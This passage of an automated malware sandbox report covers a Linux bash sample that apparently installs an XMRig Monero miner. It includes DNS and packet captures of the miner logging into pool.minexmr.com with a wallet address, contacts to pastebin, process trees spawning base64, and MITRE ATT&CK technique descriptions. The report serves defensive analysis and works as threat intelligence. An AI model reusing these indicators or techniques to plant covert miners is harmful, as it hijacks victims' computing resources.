Jul 25, 2019 13:47:19.170907021 MESZ	8.8.8.8	192.168.1.100	0x3e0e	No error (0)	pool.minexmr.com		176.9.53.68	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:19.170907021 MESZ	8.8.8.8	192.168.1.100	0x3e0e	No error (0)	pool.minexmr.com		37.59.43.136	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:19.170907021 MESZ	8.8.8.8	192.168.1.100	0x3e0e	No error (0)	pool.minexmr.com		37.59.54.205	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:19.170907021 MESZ	8.8.8.8	192.168.1.100	0x3e0e	No error (0)	pool.minexmr.com		37.59.55.60	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:19.170907021 MESZ	8.8.8.8	192.168.1.100	0x3e0e	No error (0)	pool.minexmr.com		37.187.154.79	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:19.170907021 MESZ	8.8.8.8	192.168.1.100	0x3e0e	No error (0)	pool.minexmr.com		88.99.242.92	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:34.305466890 MESZ	8.8.8.8	192.168.1.100	0x706d	No error (0)	pastebin.com		104.20.208.21	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:34.305466890 MESZ	8.8.8.8	192.168.1.100	0x706d	No error (0)	pastebin.com		104.20.209.21	A (IP address)	IN (0x0001)
Jul 25, 2019 13:47:34.305495977 MESZ	8.8.8.8	192.168.1.100	0x399d	No error (0)	pastebin.com			28	IN (0x0001)
Jul 25, 2019 13:47:34.305495977 MESZ	8.8.8.8	192.168.1.100	0x399d	No error (0)	pastebin.com			28	IN (0x0001)

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.1.100	60262	37.59.54.205	80

Timestamp	kBytes transferred	Direction	Data
Jul 25, 2019 13:47:19.201805115 MESZ	3189	OUT	Data Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6c 6f 67 69 6e 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 6c 6f 67 69 6e 22 3a 22 34 37 6b 32 77 64 6e 79 79 42 6f 4d 54 36 4e 39 68 6f 35 59 37 75 Data Ascii: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"47k2wdnyyBoMT6N9ho5Y7uQg1J6gPsTboKP6JXfB5msf3jUUvTfEceK5U7KLnWir5VZPKgUVxpkXnJLmijau3VZ8D2zsyL7.old","pass":"x","agent":"XMRig/2.14.1 (Linux x86_64) libuv/1.24.1 gcc/5.4.0","algo":["c
Jul 25, 2019 13:47:19.229459047 MESZ	3189	IN	Data Raw: 7b 22 69 64 22 3a 31 2c 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 65 72 72 6f 72 22 3a 6e 75 6c 6c 2c 22 72 65 73 75 6c 74 22 3a 7b 22 69 64 22 3a 22 37 34 32 32 31 31 37 32 38 33 36 37 33 39 39 22 2c 22 6a 6f 62 22 3a 7b 22 68 65 69 67 Data Ascii: {"id":1,"jsonrpc":"2.0","error":null,"result":{"id":"742211728367399","job":{"height":1886199,"blob":"0b0b92ade6e905176781802ee0e7c5c84567e7000844f834b3294546d5bbd5498ab8451458aaac00000000c57a7225b852c475b8a15d16323246ddc4964e4eb29f1dff902ed69
Jul 25, 2019 13:48:26.932804108 MESZ	3196	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 68 65 69 67 68 74 22 3a 31 38 38 36 31 39 39 2c 22 62 6c 6f 62 22 3a 22 30 62 30 62 38 61 61 65 65 36 65 39 30 35 31 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"height":1886199,"blob":"0b0b8aaee6e905176781802ee0e7c5c84567e7000844f834b3294546d5bbd5498ab8451458aaac0000000099974a0b06606a277cbbb5288b1094d7e58067ae56e8a158e525edf3ab92c0e629","job_id":"227089045545
Jul 25, 2019 13:48:59.633966923 MESZ	3197	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 68 65 69 67 68 74 22 3a 31 38 38 36 32 30 30 2c 22 62 6c 6f 62 22 3a 22 30 62 30 62 61 62 61 65 65 36 65 39 30 35 65 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"height":1886200,"blob":"0b0babaee6e905e14f1ac51c329330d2b9ef3b89b92a5ff5c8b8d064c35a541fec72eb39d85129000000006e8240037c0a27ce226f396e54d432817c88df4a8cbaa3a15a3fc2af349cc9a603","job_id":"218310268435
Jul 25, 2019 13:50:59.690457106 MESZ	3686	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 68 65 69 67 68 74 22 3a 31 38 38 36 32 30 30 2c 22 62 6c 6f 62 22 3a 22 30 62 30 62 61 33 61 66 65 36 65 39 30 35 65 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"height":1886200,"blob":"0b0ba3afe6e905e14f1ac51c329330d2b9ef3b89b92a5ff5c8b8d064c35a541fec72eb39d8512900000000d6f49c122af3b5b0e542bb427b9d746caa8a678b81850fc68b0d78efa266e1820c","job_id":"591521836771
Jul 25, 2019 13:51:28.545020103 MESZ	3687	IN	Data Raw: 7b 22 6a 73 6f 6e 72 70 63 22 3a 22 32 2e 30 22 2c 22 6d 65 74 68 6f 64 22 3a 22 6a 6f 62 22 2c 22 70 61 72 61 6d 73 22 3a 7b 22 68 65 69 67 68 74 22 3a 31 38 38 36 32 30 31 2c 22 62 6c 6f 62 22 3a 22 30 62 30 62 63 30 61 66 65 36 65 39 30 35 66 Data Ascii: {"jsonrpc":"2.0","method":"job","params":{"height":1886201,"blob":"0b0bc0afe6e905f0fa6a7fbf2d5ac93a855165453af19d3e085753a1e2ff2e219c5e350ea7983000000000d0247a25a8ab460e6cfb6548c849d74d2a765d5fe38a8f95333ae54752cc51a60e","job_id":"372660942409

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Jul 25, 2019 13:47:01.629590988 MESZ	104.20.208.21	443	192.168.1.100	55366	CN=ssl509085.cloudflaressl.com, OU=PositiveSSL Multi-Domain, OU=Domain Control Validated CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE	Fri Mar 15 01:00:00 CET 2019 Thu Sep 25 02:00:00 CEST 2014 Tue May 30 12:48:38 CEST 2000	Sun Sep 22 01:59:59 CEST 2019 Tue Sep 25 01:59:59 CEST 2029 Sat May 30 12:48:38 CEST 2020	771,49195-49196-49286-49287-49161-49187-49162-49188-49266-49267-49324-49325-49160-49199-49200-49290-49291-49171-49191-49172-49192-49270-49271-49170-156-157-49274-49275-47-60-53-61-65-186-132-192-49308-49309-10-158-159-49276-49277-51-103-57-107-69-190-136-196-49310-49311-22,23-22-5-0-65281-35-10-11-13-16,23-24-25-21-19,0	ec2e8760003621ca668b5f03e616cd57
					CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Sep 25 02:00:00 CEST 2014	Tue Sep 25 01:59:59 CEST 2029
					CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE	Tue May 30 12:48:38 CEST 2000	Sat May 30 12:48:38 CEST 2020
Jul 25, 2019 13:47:02.181005955 MESZ	104.20.208.21	443	192.168.1.100	55368	CN=ssl509085.cloudflaressl.com, OU=PositiveSSL Multi-Domain, OU=Domain Control Validated CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE	Fri Mar 15 01:00:00 CET 2019 Thu Sep 25 02:00:00 CEST 2014 Tue May 30 12:48:38 CEST 2000	Sun Sep 22 01:59:59 CEST 2019 Tue Sep 25 01:59:59 CEST 2029 Sat May 30 12:48:38 CEST 2020	771,49195-49196-49286-49287-49161-49187-49162-49188-49266-49267-49324-49325-49160-49199-49200-49290-49291-49171-49191-49172-49192-49270-49271-49170-156-157-49274-49275-47-60-53-61-65-186-132-192-49308-49309-10-158-159-49276-49277-51-103-57-107-69-190-136-196-49310-49311-22,23-22-5-0-65281-35-10-11-13-16,23-24-25-21-19,0	ec2e8760003621ca668b5f03e616cd57
					CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Sep 25 02:00:00 CEST 2014	Tue Sep 25 01:59:59 CEST 2029
					CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE	Tue May 30 12:48:38 CEST 2000	Sat May 30 12:48:38 CEST 2020
Jul 25, 2019 13:47:02.886678934 MESZ	104.20.208.21	443	192.168.1.100	55370	CN=ssl509085.cloudflaressl.com, OU=PositiveSSL Multi-Domain, OU=Domain Control Validated CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE	Fri Mar 15 01:00:00 CET 2019 Thu Sep 25 02:00:00 CEST 2014 Tue May 30 12:48:38 CEST 2000	Sun Sep 22 01:59:59 CEST 2019 Tue Sep 25 01:59:59 CEST 2029 Sat May 30 12:48:38 CEST 2020	771,49195-49196-49286-49287-49161-49187-49162-49188-49266-49267-49324-49325-49160-49199-49200-49290-49291-49171-49191-49172-49192-49270-49271-49170-156-157-49274-49275-47-60-53-61-65-186-132-192-49308-49309-10-158-159-49276-49277-51-103-57-107-69-190-136-196-49310-49311-22,23-22-5-0-65281-35-10-11-13-16,23-24-25-21-19,0	ec2e8760003621ca668b5f03e616cd57
					CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Sep 25 02:00:00 CEST 2014	Tue Sep 25 01:59:59 CEST 2029
					CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE	Tue May 30 12:48:38 CEST 2000	Sat May 30 12:48:38 CEST 2020
Jul 25, 2019 13:47:03.293775082 MESZ	140.82.118.4	443	192.168.1.100	54582	CN=github.com, O="GitHub, Inc.", L=San Francisco, ST=California, C=US, SERIALNUMBER=5157550, OID.1.3.6.1.4.1.311.60.2.1.2=Delaware, OID.1.3.6.1.4.1.311.60.2.1.3=US, OID.2.5.4.15=Private Organization CN=DigiCert SHA2 Extended Validation Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert SHA2 Extended Validation Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue May 08 02:00:00 CEST 2018 Tue Oct 22 14:00:00 CEST 2013	Wed Jun 03 14:00:00 CEST 2020 Sun Oct 22 14:00:00 CEST 2028	771,49195-49196-49286-49287-49161-49187-49162-49188-49266-49267-49324-49325-49160-49199-49200-49290-49291-49171-49191-49172-49192-49270-49271-49170-156-157-49274-49275-47-60-53-61-65-186-132-192-49308-49309-10-158-159-49276-49277-51-103-57-107-69-190-136-196-49310-49311-22,23-22-5-0-65281-35-10-11-13-16,23-24-25-21-19,0	ec2e8760003621ca668b5f03e616cd57
Jul 25, 2019 13:47:03.293775082 MESZ	140.82.118.4	443	192.168.1.100	54582	CN=DigiCert SHA2 Extended Validation Server CA, OU=www.digicert.com, O=DigiCert Inc, C=US	CN=DigiCert High Assurance EV Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Tue Oct 22 14:00:00 CEST 2013	Sun Oct 22 14:00:00 CEST 2028		ec2e8760003621ca668b5f03e616cd57
Jul 25, 2019 13:47:34.590816975 MESZ	104.20.208.21	443	192.168.1.100	55378	CN=ssl509085.cloudflaressl.com, OU=PositiveSSL Multi-Domain, OU=Domain Control Validated CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE	Fri Mar 15 01:00:00 CET 2019 Thu Sep 25 02:00:00 CEST 2014 Tue May 30 12:48:38 CEST 2000	Sun Sep 22 01:59:59 CEST 2019 Tue Sep 25 01:59:59 CEST 2029 Sat May 30 12:48:38 CEST 2020	771,49195-49196-49286-49287-49161-49187-49162-49188-49266-49267-49324-49325-49160-49199-49200-49290-49291-49171-49191-49172-49192-49270-49271-49170-156-157-49274-49275-47-60-53-61-65-186-132-192-49308-49309-10-158-159-49276-49277-51-103-57-107-69-190-136-196-49310-49311-22,23-22-5-0-65281-35-10-11-13-16,23-24-25-21-19,0	ec2e8760003621ca668b5f03e616cd57
					CN=COMODO ECC Domain Validation Secure Server CA 2, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Sep 25 02:00:00 CEST 2014	Tue Sep 25 01:59:59 CEST 2029
					CN=COMODO ECC Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE	Tue May 30 12:48:38 CEST 2000	Sat May 30 12:48:38 CEST 2020

System Behavior

Analysis Process: bash PID: 19147 Parent PID: 19098

General

Start time:	13:47:00
Start date:	25/07/2019
Path:	/bin/bash
Arguments:	/bin/bash /tmp/AEjyioBcTB
File size:	1037528 bytes
MD5 hash:	5e666695cf08d1638bb85684e30185ee

Start time:	13:47:01
Start date:	25/07/2019
Path:	/bin/bash
Arguments:	n/a
File size:	1037528 bytes
MD5 hash:	5e666695cf08d1638bb85684e30185ee

Start time:	13:47:02
Start date:	25/07/2019
Path:	/bin/bash
Arguments:	n/a
File size:	1037528 bytes
MD5 hash:	5e666695cf08d1638bb85684e30185ee

Start time:	13:47:17
Start date:	25/07/2019
Path:	/bin/bash
Arguments:	n/a
File size:	1037528 bytes
MD5 hash:	5e666695cf08d1638bb85684e30185ee

Start time:	13:47:18
Start date:	25/07/2019
Path:	/bin/bash
Arguments:	n/a
File size:	1037528 bytes
MD5 hash:	5e666695cf08d1638bb85684e30185ee

Start time:	13:47:33
Start date:	25/07/2019
Path:	/bin/bash
Arguments:	n/a
File size:	1037528 bytes
MD5 hash:	5e666695cf08d1638bb85684e30185ee

Start time:	13:47:34
Start date:	25/07/2019
Path:	/bin/bash
Arguments:	n/a
File size:	1037528 bytes
MD5 hash:	5e666695cf08d1638bb85684e30185ee

Description:	On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, at, and launchd. Unlike Scheduled Task on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).
Tactics:	Execution, Persistence
Data Sources:	File monitoring, Process monitoring
Platforms:	Linux, macOS
Url:	Open detailed description by Mitre

Description:	Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. One example command-line interface on Windows systems is cmd , which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task ).
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion, Persistence
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.
Tactics:	Command and Control, Defense Evasion
Data Sources:	Host network interface, Netflow/Enclave netflow, Network protocol analysis, Packet capture, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	File permissions are commonly managed by discretionary access control lists (DACLs) specified by the file owner. File DACL implementation may vary by platform, but generally explicitly designate which users/groups can perform which actions (ex: read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name Masquerading to hide malware and tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.
Tactics:	Discovery
Data Sources:	Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
Tactics:	Lateral Movement
Data Sources:	File monitoring, Process monitoring, Windows Error Reporting
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS.
Tactics:	Lateral Movement
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report AEjyioBcTB

Overview

General Information

Detection

Key Signatures

Classification

Mitre Att&ck Matrix

Signature Overview

Exploits:

Bitcoin Miner:

Spreading:

Networking:

System Summary:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Lowering of HIPS / PFW / Operating System Security Settings:

Runtime Messages

Behavior Graph

Yara Overview

Initial Sample

PCAP (Network Traffic)

Dropped Files

Antivirus and Machine Learning Detection

Initial Sample

Dropped Files

Domains

URLs

Startup

Created / dropped Files

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Static File Info

General

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Packets

HTTPS Packets

System Behavior

Analysis Process: bash PID: 19147 Parent PID: 19098

General

Analysis Process: bash PID: 19155 Parent PID: 19147

General

Analysis Process: bash PID: 19157 Parent PID: 19155

General

Analysis Process: bash PID: 19158 Parent PID: 19155

General

Analysis Process: base64 PID: 19158 Parent PID: 19155

General

Analysis Process: bash PID: 19163 Parent PID: 19147

General

Analysis Process: bash PID: 19165 Parent PID: 19163

General

Analysis Process: bash PID: 19166 Parent PID: 19163

General

Analysis Process: base64 PID: 19166 Parent PID: 19163

General

Analysis Process: bash PID: 19170 Parent PID: 19147

General

Analysis Process: bash PID: 19173 Parent PID: 19170

General

Analysis Process: bash PID: 19174 Parent PID: 19170

General

Analysis Process: base64 PID: 19174 Parent PID: 19170

General

Analysis Process: bash PID: 19183 Parent PID: 19147

Description:	Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.
Tactics:	Exfiltration
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre